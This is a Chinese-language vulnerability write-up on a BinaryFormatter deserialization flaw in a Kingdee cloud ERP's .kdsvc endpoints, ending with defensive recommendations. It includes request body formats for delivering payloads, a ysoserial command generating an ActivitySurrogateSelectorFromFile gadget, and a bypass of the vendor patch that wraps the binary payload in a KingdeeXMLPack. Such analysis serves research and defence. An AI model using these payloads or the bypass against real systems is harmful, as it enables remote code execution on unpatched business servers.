某云的反序列漏洞及绕过思路分析
字数 1331 2025-08-18 11:36:57
某云反序列化漏洞分析与绕过技术研究
0x00 漏洞概述
本文详细分析某云系统存在的反序列化漏洞及其绕过技术,该漏洞存在于以.kdsvc结尾的接口中,攻击者可通过精心构造的序列化数据实现远程代码执行。
0x01 调试环境搭建
所需工具
- 某云系统环境(参照网络安装教程搭建)
- dnSpy .NET调试工具
调试步骤
- 定位程序集:搜索dll文件定位exe程序
- 附加进程:在dnSpy中选择"调试"→"附加到进程"
- 搜索程序集:通过"调试"→"窗口"→"模块"查找目标dll
- 断点调试:在关键方法设置断点
注意:若遇到"无法获取局部变量或参数的值"错误,需:
- 创建ini文件禁用编译优化
- 配置相关环境变量
- 重启IIS服务
0x02 漏洞原理分析
请求处理流程
-
系统通过
web.config配置处理.kdsvc请求:<handlers> <add path="*kdsvc" verb="*" type="xxx,xxx"/> </handlers> -
请求由
Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler处理,生成KDSVCHandler实例 -
关键处理流程:
RequestExtractor#Creat:处理HTTP请求,判断方法和格式RequestExcuteRuntime#StartRequest:处理请求逻辑ServiceTypeManager#BuidServiceType:构建服务类型RequestExcuteRuntime.pipeline.ExcuteRequest:执行请求校验
反序列化触发点
-
参数处理位于
RequestExtractor#GetServiceParameters,支持两种payload格式:{"parameters": "[\"payload\"]"} {"ap*": "payload"} -
序列化处理由
SerializerProxy类完成,当format=3时使用BinaryFormatter反序列化 -
最终通过
BinaryFormatterProxy#Deserialize调用不安全的BinaryFormatter.Deserialize方法
0x03 漏洞利用方法
利用条件
-
目标类需满足:
- 位于
Kingdee.BOS.ServiceFacade.ServicesStub等程序集 - 构造函数支持传递
KDServiceContext类型参数 - 参数类型不为
string、int等基础类型
- 位于
-
示例可利用类:
SaveBizTipsInfos(string bizHost, List<IBizTipsInfos> tips)
利用方式
-
使用
ap参数格式:{"ap0": "base64_encoded_payload"} -
使用
parameters参数格式:{"parameters": "[\"dummy\", \"base64_encoded_payload\"]"} -
使用ysoserial生成payload:
ysoserial.exe -c "a.cs;System.Windows.Forms.dll;System.Web.dll;System.dll" -f BinaryFormatter -o base64 -g ActivitySurrogateSelectorFromFile
0x04 修复与绕过分析
官方修复方案
-
启用金蝶数据签名校验格式:
<add key="KDSVCDefaultFormat" value="4"/> -
禁用二进制序列化:
<add key="EnabledKDSVCBinary" value="false"/>
绕过技术
-
修改format为4(KingdeeXml),但仍可通过
KingdeeXMLPack包装payload:{ "ap0": "<KingdeeXMLPack>BinaryPayload</KingdeeXMLPack>", "format": "4" } -
绕过原理:
- 系统仍会通过
BinaryFormatterProxy反序列化KingdeeXMLPack.Data字段 - 将二进制payload包装在XML格式中可绕过格式检查
- 系统仍会通过
0x05 防御建议
- 禁用
BinaryFormatter反序列化 - 实现严格的类型检查白名单
- 使用安全的序列化替代方案如JSON.NET
- 对输入数据进行签名验证
- 更新到最新补丁版本
附录:关键代码片段
// 反序列化入口
public object Deserialize(string content, Type type)
{
// 基础类型检查
if (type == typeof(string)) return content;
if (type == typeof(int)) return int.Parse(content);
// ...其他基础类型检查
// 最终调用不安全的BinaryFormatter
return this.proxy.Deserialize(content, type);
}
// KingdeeXMLPack处理逻辑
KingdeeXMLPack kingdeeXMLPack = obj as KingdeeXMLPack;
if (kingdeeXMLPack != null)
{
BinaryFormatterProxy binaryFormatterProxy = new BinaryFormatterProxy(this.encoding, false);
obj = binaryFormatterProxy.Deserialize(kingdeeXMLPack.Data, type);
}